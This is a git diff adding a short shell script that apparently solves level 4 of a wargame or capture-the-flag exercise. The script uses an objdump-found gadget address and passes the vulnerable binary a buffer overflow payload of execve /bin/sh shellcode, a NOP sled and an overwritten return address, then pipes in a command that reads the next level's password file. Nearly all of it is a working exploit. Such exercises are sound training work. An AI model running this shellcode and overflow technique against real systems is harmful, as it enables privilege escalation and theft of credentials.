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-rw-r--r--level04.sh5
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diff --git a/level04.sh b/level04.sh
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+#!/bin/sh
+# $ objdump -S /levels/level04|egrep 'call \*%eax'|cut -d : -f 1|tr -d ' '|head -n 1
+# 804847f
+
+echo "cat /home/level05/.password" | /levels/level04 "$(perl -e 'print "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" . "\x90" x 1015 . "\x7f\x84\x04\x08"')"